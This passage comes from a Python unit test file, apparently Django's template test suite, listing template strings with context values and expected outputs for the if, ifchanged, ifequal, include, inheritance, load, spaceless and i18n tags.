            'if-tag-not20': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not21': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not22': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-not23': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not24': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not25': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not26': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not27': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not28': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not29': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not30': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not31': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not32': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not33': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not34': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not35': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            # Various syntax errors
            'if-tag-error01': (""{% if %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error02': (""{% if foo and %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error03': (""{% if foo or %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error04': (""{% if not foo and %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error05': (""{% if not foo or %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error06': (""{% if abc def %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error07': (""{% if not %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error08': (""{% if and %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error09': (""{% if or %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error10': (""{% if == %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error11': (""{% if 1 == %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error12': (""{% if a not b %}yes{% endif %}"", {}, template.TemplateSyntaxError),

            # If evaluations are shortcircuited where possible
            # If is_bad is invoked, it will raise a ShouldNotExecuteException
            'if-tag-shortcircuit01': ('{% if x.is_true or x.is_bad %}yes{% else %}no{% endif %}', {'x': TestObj()}, ""yes""),
            'if-tag-shortcircuit02': ('{% if x.is_false and x.is_bad %}yes{% else %}no{% endif %}', {'x': TestObj()}, ""no""),

            # Non-existent args
            'if-tag-badarg01':(""{% if x|default_if_none:y %}yes{% endif %}"", {}, ''),
            'if-tag-badarg02':(""{% if x|default_if_none:y %}yes{% endif %}"", {'y': 0}, ''),
            'if-tag-badarg03':(""{% if x|default_if_none:y %}yes{% endif %}"", {'y': 1}, 'yes'),
            'if-tag-badarg04':(""{% if x|default_if_none:y %}yes{% else %}no{% endif %}"", {}, 'no'),

            # Additional, more precise parsing tests are in SmartIfTests

            ### IFCHANGED TAG #########################################################
            'ifchanged01': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,2,3)}, '123'),
            'ifchanged02': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,1,3)}, '13'),
            'ifchanged03': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,1,1)}, '1'),
            'ifchanged04': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 2, 3), 'numx': (2, 2, 2)}, '122232'),
            'ifchanged05': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (1, 2, 3)}, '1123123123'),
            'ifchanged06': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (2, 2, 2)}, '1222'),
            'ifchanged07': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% for y in numy %}{% ifchanged %}{{ y }}{% endifchanged %}{% endfor %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (2, 2, 2), 'numy': (3, 3, 3)}, '1233323332333'),
            'ifchanged08': ('{% for data in datalist %}{% for c,d in data %}{% if c %}{% ifchanged %}{{ d }}{% endifchanged %}{% endif %}{% endfor %}{% endfor %}', {'datalist': [[(1, 'a'), (1, 'a'), (0, 'b'), (1, 'c')], [(0, 'a'), (1, 'c'), (1, 'd'), (1, 'd'), (0, 'e')]]}, 'accd'),

            # Test one parameter given to ifchanged.
            'ifchanged-param01': ('{% for n in num %}{% ifchanged n %}..{% endifchanged %}{{ n }}{% endfor %}', { 'num': (1,2,3) }, '..1..2..3'),
            'ifchanged-param02': ('{% for n in num %}{% for x in numx %}{% ifchanged n %}..{% endifchanged %}{{ x }}{% endfor %}{% endfor %}', { 'num': (1,2,3), 'numx': (5,6,7) }, '..567..567..567'),

            # Test multiple parameters to ifchanged.
            'ifchanged-param03': ('{% for n in num %}{{ n }}{% for x in numx %}{% ifchanged x n %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', { 'num': (1,1,2), 'numx': (5,6,6) }, '156156256'),

            # Test a date+hour like construct, where the hour of the last day
            # is the same but the date had changed, so print the hour anyway.
            'ifchanged-param04': ('{% for d in days %}{% ifchanged %}{{ d.day }}{% endifchanged %}{% for h in d.hours %}{% ifchanged d h %}{{ h }}{% endifchanged %}{% endfor %}{% endfor %}', {'days':[{'day':1, 'hours':[1,2,3]},{'day':2, 'hours':[3]},] }, '112323'),

            # Logically the same as above, just written with explicit
            # ifchanged for the day.
            'ifchanged-param05': ('{% for d in days %}{% ifchanged d.day %}{{ d.day }}{% endifchanged %}{% for h in d.hours %}{% ifchanged d.day h %}{{ h }}{% endifchanged %}{% endfor %}{% endfor %}', {'days':[{'day':1, 'hours':[1,2,3]},{'day':2, 'hours':[3]},] }, '112323'),

            # Test the else clause of ifchanged.
            'ifchanged-else01': ('{% for id in ids %}{{ id }}{% ifchanged id %}-first{% else %}-other{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-first,1-other,2-first,2-other,2-other,3-first,'),

            'ifchanged-else02': ('{% for id in ids %}{{ id }}-{% ifchanged id %}{% cycle red,blue %}{% else %}grey{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-red,1-grey,2-blue,2-grey,2-grey,3-red,'),
            'ifchanged-else03': ('{% for id in ids %}{{ id }}{% ifchanged id %}-{% cycle red,blue %}{% else %}{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-red,1,2-blue,2,2,3-red,'),

            'ifchanged-else04': ('{% for id in ids %}{% ifchanged %}***{{ id }}*{% else %}...{% endifchanged %}{{ forloop.counter }}{% endfor %}', {'ids': [1,1,2,2,2,3,4]}, '***1*1...2***2*3...4...5***3*6***4*7'),

            # Test whitespace in filter arguments
            'ifchanged-filter-ws': ('{% load custom %}{% for n in num %}{% ifchanged n|noop:""x y"" %}..{% endifchanged %}{{ n }}{% endfor %}', {'num': (1,2,3)}, '..1..2..3'),

            ### IFEQUAL TAG ###########################################################
            'ifequal01': (""{% ifequal a b %}yes{% endifequal %}"", {""a"": 1, ""b"": 2}, """"),
            'ifequal02': (""{% ifequal a b %}yes{% endifequal %}"", {""a"": 1, ""b"": 1}, ""yes""),
            'ifequal03': (""{% ifequal a b %}yes{% else %}no{% endifequal %}"", {""a"": 1, ""b"": 2}, ""no""),
            'ifequal04': (""{% ifequal a b %}yes{% else %}no{% endifequal %}"", {""a"": 1, ""b"": 1}, ""yes""),
            'ifequal05': (""{% ifequal a 'test' %}yes{% else %}no{% endifequal %}"", {""a"": ""test""}, ""yes""),
            'ifequal06': (""{% ifequal a 'test' %}yes{% else %}no{% endifequal %}"", {""a"": ""no""}, ""no""),
            'ifequal07': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {""a"": ""test""}, ""yes""),
            'ifequal08': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {""a"": ""no""}, ""no""),
            'ifequal09': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {}, ""no""),
            'ifequal10': ('{% ifequal a b %}yes{% else %}no{% endifequal %}', {}, ""yes""),

            # SMART SPLITTING
            'ifequal-split01': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {}, ""no""),
            'ifequal-split02': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {'a': 'foo'}, ""no""),
            'ifequal-split03': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {'a': 'test man'}, ""yes""),
            'ifequal-split04': (""{% ifequal a 'test man' %}yes{% else %}no{% endifequal %}"", {'a': 'test man'}, ""yes""),
            'ifequal-split05': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': ''}, ""no""),
            'ifequal-split06': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': 'i ""love"" you'}, ""yes""),
            'ifequal-split07': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': 'i love you'}, ""no""),
            'ifequal-split08': (r""{% ifequal a 'I\'m happy' %}yes{% else %}no{% endifequal %}"", {'a': ""I'm happy""}, ""yes""),
            'ifequal-split09': (r""{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"", {'a': r""slash\man""}, ""yes""),
            'ifequal-split10': (r""{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"", {'a': r""slashman""}, ""no""),

            # NUMERIC RESOLUTION
            'ifequal-numeric01': ('{% ifequal x 5 %}yes{% endifequal %}', {'x': '5'}, ''),
            'ifequal-numeric02': ('{% ifequal x 5 %}yes{% endifequal %}', {'x': 5}, 'yes'),
            'ifequal-numeric03': ('{% ifequal x 5.2 %}yes{% endifequal %}', {'x': 5}, ''),
            'ifequal-numeric04': ('{% ifequal x 5.2 %}yes{% endifequal %}', {'x': 5.2}, 'yes'),
            'ifequal-numeric05': ('{% ifequal x 0.2 %}yes{% endifequal %}', {'x': .2}, 'yes'),
            'ifequal-numeric06': ('{% ifequal x .2 %}yes{% endifequal %}', {'x': .2}, 'yes'),
            'ifequal-numeric07': ('{% ifequal x 2. %}yes{% endifequal %}', {'x': 2}, ''),
            'ifequal-numeric08': ('{% ifequal x ""5"" %}yes{% endifequal %}', {'x': 5}, ''),
            'ifequal-numeric09': ('{% ifequal x ""5"" %}yes{% endifequal %}', {'x': '5'}, 'yes'),
            'ifequal-numeric10': ('{% ifequal x -5 %}yes{% endifequal %}', {'x': -5}, 'yes'),
            'ifequal-numeric11': ('{% ifequal x -5.2 %}yes{% endifequal %}', {'x': -5.2}, 'yes'),
            'ifequal-numeric12': ('{% ifequal x +5 %}yes{% endifequal %}', {'x': 5}, 'yes'),

            # FILTER EXPRESSIONS AS ARGUMENTS
            'ifequal-filter01': ('{% ifequal a|upper ""A"" %}x{% endifequal %}', {'a': 'a'}, 'x'),
            'ifequal-filter02': ('{% ifequal ""A"" a|upper %}x{% endifequal %}', {'a': 'a'}, 'x'),
            'ifequal-filter03': ('{% ifequal a|upper b|upper %}x{% endifequal %}', {'a': 'x', 'b': 'X'}, 'x'),
            'ifequal-filter04': ('{% ifequal x|slice:""1"" ""a"" %}x{% endifequal %}', {'x': 'aaa'}, 'x'),
            'ifequal-filter05': ('{% ifequal x|slice:""1""|upper ""A"" %}x{% endifequal %}', {'x': 'aaa'}, 'x'),

            ### IFNOTEQUAL TAG ########################################################
            'ifnotequal01': (""{% ifnotequal a b %}yes{% endifnotequal %}"", {""a"": 1, ""b"": 2}, ""yes""),
            'ifnotequal02': (""{% ifnotequal a b %}yes{% endifnotequal %}"", {""a"": 1, ""b"": 1}, """"),
            'ifnotequal03': (""{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}"", {""a"": 1, ""b"": 2}, ""yes""),
            'ifnotequal04': (""{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}"", {""a"": 1, ""b"": 1}, ""no""),

            ## INCLUDE TAG ###########################################################
            'include01': ('{% include ""basic-syntax01"" %}', {}, ""something cool""),
            'include02': ('{% include ""basic-syntax02"" %}', {'headline': 'Included'}, ""Included""),
            'include03': ('{% include template_name %}', {'template_name': 'basic-syntax02', 'headline': 'Included'}, ""Included""),
            'include04': ('a{% include ""nonexistent"" %}b', {}, (""ab"", ""ab"", template.TemplateDoesNotExist)),
            'include 05': ('template with a space', {}, 'template with a space'),
            'include06': ('{% include ""include 05""%}', {}, 'template with a space'),

            # extra inline context
            'include07': ('{% include ""basic-syntax02"" with headline=""Inline"" %}', {'headline': 'Included'}, 'Inline'),
            'include08': ('{% include headline with headline=""Dynamic"" %}', {'headline': 'basic-syntax02'}, 'Dynamic'),
            'include09': ('{{ first }}--{% include ""basic-syntax03"" with first=second|lower|upper second=first|upper %}--{{ second }}', {'first': 'Ul', 'second': 'lU'}, 'Ul--LU --- UL--lU'),

            # isolated context
            'include10': ('{% include ""basic-syntax03"" only %}', {'first': '1'}, (' --- ', 'INVALID --- INVALID')),
            'include11': ('{% include ""basic-syntax03"" only with second=2 %}', {'first': '1'}, (' --- 2', 'INVALID --- 2')),
            'include12': ('{% include ""basic-syntax03"" with first=1 only %}', {'second': '2'}, ('1 --- ', '1 --- INVALID')),

            # autoescape context
            'include13': ('{% autoescape off %}{% include ""basic-syntax03"" %}{% endautoescape %}', {'first': '&'}, ('& --- ', '& --- INVALID')),
            'include14': ('{% autoescape off %}{% include ""basic-syntax03"" with first=var1 only %}{% endautoescape %}', {'var1': '&'}, ('& --- ', '& --- INVALID')),

            'include-error01': ('{% include ""basic-syntax01"" with %}', {}, template.TemplateSyntaxError),
            'include-error02': ('{% include ""basic-syntax01"" with ""no key"" %}', {}, template.TemplateSyntaxError),
            'include-error03': ('{% include ""basic-syntax01"" with dotted.arg=""error"" %}', {}, template.TemplateSyntaxError),
            'include-error04': ('{% include ""basic-syntax01"" something_random %}', {}, template.TemplateSyntaxError),
            'include-error05': ('{% include ""basic-syntax01"" foo=""duplicate"" foo=""key"" %}', {}, template.TemplateSyntaxError),
            'include-error06': ('{% include ""basic-syntax01"" only only %}', {}, template.TemplateSyntaxError),

            ### INCLUSION ERROR REPORTING #############################################
            'include-fail1': ('{% load bad_tag %}{% badtag %}', {}, RuntimeError),
            'include-fail2': ('{% load broken_tag %}', {}, template.TemplateSyntaxError),
            'include-error07': ('{% include ""include-fail1"" %}', {}, ('', '', RuntimeError)),
            'include-error08': ('{% include ""include-fail2"" %}', {}, ('', '', template.TemplateSyntaxError)),
            'include-error09': ('{% include failed_include %}', {'failed_include': 'include-fail1'}, ('', '', RuntimeError)),
            'include-error10': ('{% include failed_include %}', {'failed_include': 'include-fail2'}, ('', '', template.TemplateSyntaxError)),


            ### NAMED ENDBLOCKS #######################################################

            # Basic test
            'namedendblocks01': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock first %}3"", {}, '1_2_3'),

            # Unbalanced blocks
            'namedendblocks02': (""1{% block first %}_{% block second %}2{% endblock first %}_{% endblock second %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks03': (""1{% block first %}_{% block second %}2{% endblock %}_{% endblock second %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks04': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock third %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks05': (""1{% block first %}_{% block second %}2{% endblock first %}"", {}, template.TemplateSyntaxError),

            # Mixed named and unnamed endblocks
            'namedendblocks06': (""1{% block first %}_{% block second %}2{% endblock %}_{% endblock first %}3"", {}, '1_2_3'),
            'namedendblocks07': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock %}3"", {}, '1_2_3'),

            ### INHERITANCE ###########################################################

            # Standard template with no inheritance
            'inheritance01': (""1{% block first %}&{% endblock %}3{% block second %}_{% endblock %}"", {}, '1&3_'),

            # Standard two-level inheritance
            'inheritance02': (""{% extends 'inheritance01' %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {}, '1234'),

            # Three-level with no redefinitions on third level
            'inheritance03': (""{% extends 'inheritance02' %}"", {}, '1234'),

            # Two-level with no redefinitions on second level
            'inheritance04': (""{% extends 'inheritance01' %}"", {}, '1&3_'),

            # Two-level with double quotes instead of single quotes
            'inheritance05': ('{% extends ""inheritance02"" %}', {}, '1234'),

            # Three-level with variable parent-template name
            'inheritance06': (""{% extends foo %}"", {'foo': 'inheritance02'}, '1234'),

            # Two-level with one block defined, one block not defined
            'inheritance07': (""{% extends 'inheritance01' %}{% block second %}5{% endblock %}"", {}, '1&35'),

            # Three-level with one block defined on this level, two blocks defined next level
            'inheritance08': (""{% extends 'inheritance02' %}{% block second %}5{% endblock %}"", {}, '1235'),

            # Three-level with second and third levels blank
            'inheritance09': (""{% extends 'inheritance04' %}"", {}, '1&3_'),

            # Three-level with space NOT in a block -- should be ignored
            'inheritance10': (""{% extends 'inheritance04' %}      "", {}, '1&3_'),

            # Three-level with both blocks defined on this level, but none on second level
            'inheritance11': (""{% extends 'inheritance04' %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {}, '1234'),

            # Three-level with this level providing one and second level providing the other
            'inheritance12': (""{% extends 'inheritance07' %}{% block first %}2{% endblock %}"", {}, '1235'),

            # Three-level with this level overriding second level
            'inheritance13': (""{% extends 'inheritance02' %}{% block first %}a{% endblock %}{% block second %}b{% endblock %}"", {}, '1a3b'),

            # A block defined only in a child template shouldn't be displayed
            'inheritance14': (""{% extends 'inheritance01' %}{% block newblock %}NO DISPLAY{% endblock %}"", {}, '1&3_'),

            # A block within another block
            'inheritance15': (""{% extends 'inheritance01' %}{% block first %}2{% block inner %}inner{% endblock %}{% endblock %}"", {}, '12inner3_'),

            # A block within another block (level 2)
            'inheritance16': (""{% extends 'inheritance15' %}{% block inner %}out{% endblock %}"", {}, '12out3_'),

            # {% load %} tag (parent -- setup for exception04)
            'inheritance17': (""{% load testtags %}{% block first %}1234{% endblock %}"", {}, '1234'),

            # {% load %} tag (standard usage, without inheritance)
            'inheritance18': (""{% load testtags %}{% echo this that theother %}5678"", {}, 'this that theother5678'),

            # {% load %} tag (within a child template)
            'inheritance19': (""{% extends 'inheritance01' %}{% block first %}{% load testtags %}{% echo 400 %}5678{% endblock %}"", {}, '140056783_'),

            # Two-level inheritance with {{ block.super }}
            'inheritance20': (""{% extends 'inheritance01' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '1&a3_'),

            # Three-level inheritance with {{ block.super }} from parent
            'inheritance21': (""{% extends 'inheritance02' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '12a34'),

            # Three-level inheritance with {{ block.super }} from grandparent
            'inheritance22': (""{% extends 'inheritance04' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '1&a3_'),

            # Three-level inheritance with {{ block.super }} from parent and grandparent
            'inheritance23': (""{% extends 'inheritance20' %}{% block first %}{{ block.super }}b{% endblock %}"", {}, '1&ab3_'),

            # Inheritance from local context without use of template loader
            'inheritance24': (""{% extends context_template %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {'context_template': template.Template(""1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"")}, '1234'),

            # Inheritance from local context with variable parent template
            'inheritance25': (""{% extends context_template.1 %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {'context_template': [template.Template(""Wrong""), template.Template(""1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"")]}, '1234'),

            # Set up a base template to extend
            'inheritance26': (""no tags"", {}, 'no tags'),

            # Inheritance from a template that doesn't have any blocks
            'inheritance27': (""{% extends 'inheritance26' %}"", {}, 'no tags'),

            # Set up a base template with a space in it.
            'inheritance 28': (""{% block first %}!{% endblock %}"", {}, '!'),

            # Inheritance from a template with a space in its name should work.
            'inheritance29': (""{% extends 'inheritance 28' %}"", {}, '!'),

            # Base template, putting block in a conditional {% if %} tag
            'inheritance30': (""1{% if optional %}{% block opt %}2{% endblock %}{% endif %}3"", {'optional': True}, '123'),

            # Inherit from a template with block wrapped in an {% if %} tag (in parent), still gets overridden
            'inheritance31': (""{% extends 'inheritance30' %}{% block opt %}two{% endblock %}"", {'optional': True}, '1two3'),
            'inheritance32': (""{% extends 'inheritance30' %}{% block opt %}two{% endblock %}"", {}, '13'),

            # Base template, putting block in a conditional {% ifequal %} tag
            'inheritance33': (""1{% ifequal optional 1 %}{% block opt %}2{% endblock %}{% endifequal %}3"", {'optional': 1}, '123'),

            # Inherit from a template with block wrapped in an {% ifequal %} tag (in parent), still gets overridden
            'inheritance34': (""{% extends 'inheritance33' %}{% block opt %}two{% endblock %}"", {'optional': 1}, '1two3'),
            'inheritance35': (""{% extends 'inheritance33' %}{% block opt %}two{% endblock %}"", {'optional': 2}, '13'),

            # Base template, putting block in a {% for %} tag
            'inheritance36': (""{% for n in numbers %}_{% block opt %}{{ n }}{% endblock %}{% endfor %}_"", {'numbers': '123'}, '_1_2_3_'),

            # Inherit from a template with block wrapped in an {% for %} tag (in parent), still gets overridden
            'inheritance37': (""{% extends 'inheritance36' %}{% block opt %}X{% endblock %}"", {'numbers': '123'}, '_X_X_X_'),
            'inheritance38': (""{% extends 'inheritance36' %}{% block opt %}X{% endblock %}"", {}, '_'),

            # The super block will still be found.
            'inheritance39': (""{% extends 'inheritance30' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'optional': True}, '1new23'),
            'inheritance40': (""{% extends 'inheritance33' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'optional': 1}, '1new23'),
            'inheritance41': (""{% extends 'inheritance36' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'numbers': '123'}, '_new1_new2_new3_'),

            # Expression starting and ending with a quote
            'inheritance42': (""{% extends 'inheritance02'|cut:' ' %}"", {}, '1234'),

            ### LOADING TAG LIBRARIES #################################################
            'load01': (""{% load testtags subpackage.echo %}{% echo test %} {% echo2 \""test\"" %}"", {}, ""test test""),
            'load02': (""{% load subpackage.echo %}{% echo2 \""test\"" %}"", {}, ""test""),

            # {% load %} tag, importing individual tags
            'load03': (""{% load echo from testtags %}{% echo this that theother %}"", {}, 'this that theother'),
            'load04': (""{% load echo other_echo from testtags %}{% echo this that theother %} {% other_echo and another thing %}"", {}, 'this that theother and another thing'),
            'load05': (""{% load echo upper from testtags %}{% echo this that theother %} {{ statement|upper }}"", {'statement': 'not shouting'}, 'this that theother NOT SHOUTING'),
            'load06': (""{% load echo2 from subpackage.echo %}{% echo2 \""test\"" %}"", {}, ""test""),

            # {% load %} tag errors
            'load07': (""{% load echo other_echo bad_tag from testtags %}"", {}, template.TemplateSyntaxError),
            'load08': (""{% load echo other_echo bad_tag from %}"", {}, template.TemplateSyntaxError),
            'load09': (""{% load from testtags %}"", {}, template.TemplateSyntaxError),
            'load10': (""{% load echo from bad_library %}"", {}, template.TemplateSyntaxError),
            'load11': (""{% load subpackage.echo_invalid %}"", {}, template.TemplateSyntaxError),
            'load12': (""{% load subpackage.missing %}"", {}, template.TemplateSyntaxError),

            ### I18N ##################################################################

            # {% spaceless %} tag
            'spaceless01': (""{% spaceless %} <b>    <i> text </i>    </b> {% endspaceless %}"", {}, ""<b><i> text </i></b>""),
            'spaceless02': (""{% spaceless %} <b> \n <i> text </i> \n </b> {% endspaceless %}"", {}, ""<b><i> text </i></b>""),
            'spaceless03': (""{% spaceless %}<b><i>text</i></b>{% endspaceless %}"", {}, ""<b><i>text</i></b>""),
            'spaceless04': (""{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}"", {'text' : 'This & that'}, ""<b><i>This &amp; that</i></b>""),
            'spaceless05': (""{% autoescape off %}{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}{% endautoescape %}"", {'text' : 'This & that'}, ""<b><i>This & that</i></b>""),
            'spaceless06': (""{% spaceless %}<b>   <i>{{ text|safe }}</i>  </b>{% endspaceless %}"", {'text' : 'This & that'}, ""<b><i>This & that</i></b>""),

            # simple translation of a string delimited by '
            'i18n01': (""{% load i18n %}{% trans 'xxxyyyxxx' %}"", {}, ""xxxyyyxxx""),

            # simple translation of a string delimited by ""
            'i18n02': ('{% load i18n %}{% trans ""xxxyyyxxx"" %}', {}, ""xxxyyyxxx""),

            # simple translation of a variable
            'i18n03': ('{% load i18n %}{% blocktrans %}{{ anton }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, ""Å""),

            # simple translation of a variable and filter
            'i18n04': ('{% load i18n %}{% blocktrans with berta=anton|lower %}{{ berta }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, 'å'),
            'legacyi18n04': ('{% load i18n %}{% blocktrans with anton|lower as berta %}{{ berta }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, 'å'),

            # simple translation of a string with interpolation
            'i18n05': ('{% load i18n %}{% blocktrans %}xxx{{ anton }}xxx{% endblocktrans %}', {'anton': 'yyy'}, ""xxxyyyxxx""),

            # simple translation of a string to german
            'i18n06': ('{% load i18n %}{% trans ""Page not found"" %}', {'LANGUAGE_CODE': 'de'}, ""Seite nicht gefunden""),

            # translation of singular form
            'i18n07': ('{% load i18n %}{% blocktrans count counter=number %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 1}, ""singular""),
            'legacyi18n07': ('{% load i18n %}{% blocktrans count number as counter %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 1}, ""singular""),

            # translation of plural form
            'i18n08': ('{% load i18n %}{% blocktrans count number as counter %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 2}, ""2 plural""),
            'legacyi18n08': ('{% load i18n %}{% blocktrans count counter=number %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 2}, ""2 plural""),

            # simple non-translation (only marking) of a string to german
            'i18n09': ('{% load i18n %}{% trans ""Page not found"" noop %}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),

            # translation of a variable with a translated filter
            'i18n10': ('{{ bool|yesno:_(""yes,no,maybe"") }}', {'bool': True, 'LANGUAGE_CODE': 'de'}, 'Ja'),

            # translation of a variable with a non-translated filter
            'i18n11': ('{{ bool|yesno:""ja,nein"" }}', {'bool': True}, 'ja'),

            # usage of the get_available_languages tag
            'i18n12': ('{% load i18n %}{% get_available_languages as langs %}{% for lang in langs %}{% ifequal lang.0 ""de"" %}{{ lang.0 }}{% endifequal %}{% endfor %}', {}, 'de'),

            # translation of constant strings
            'i18n13': ('{{ _(""Password"") }}', {'LANGUAGE_CODE': 'de'}, 'Passwort'),
            'i18n14': ('{% cycle ""foo"" _(""Password"") _(\'Password\') as c %} {% cycle c %} {% cycle c %}', {'LANGUAGE_CODE': 'de'}, 'foo Passwort Passwort'),
            'i18n15': ('{{ absent|default:_(""Password"") }}', {'LANGUAGE_CODE': 'de', 'absent': """"}, 'Passwort'),
            'i18n16': ('{{ _(""<"") }}', {'LANGUAGE_CODE': 'de'}, '<'),

            # Escaping inside blocktrans and trans works as if it was directly in the
            # template.
            'i18n17': ('{% load i18n %}{% blocktrans with berta=anton|escape %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'i18n18': ('{% load i18n %}{% blocktrans with berta=anton|force_escape %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'i18n19': ('{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}', {'andrew': 'a & b'}, 'a &amp; b'),
            'i18n20': ('{% load i18n %}{% trans andrew %}', {'andrew': 'a & b'}, 'a &amp; b'),
            'i18n21': ('{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}', {'andrew': mark_safe('a & b')}, 'a & b'),
            'i18n22': ('{% load i18n %}{% trans andrew %}', {'andrew': mark_safe('a & b')}, 'a & b'),
            'legacyi18n17': ('{% load i18n %}{% blocktrans with anton|escape as berta %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'legacyi18n18': ('{% load i18n %}{% blocktrans with anton|force_escape as berta %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),

            # Use filters with the {% trans %} tag, #5972
            'i18n23': ('{% load i18n %}{% trans ""Page not found""|capfirst|slice:""6:"" %}', {'LANGUAGE_CODE': 'de'}, 'nicht gefunden'),
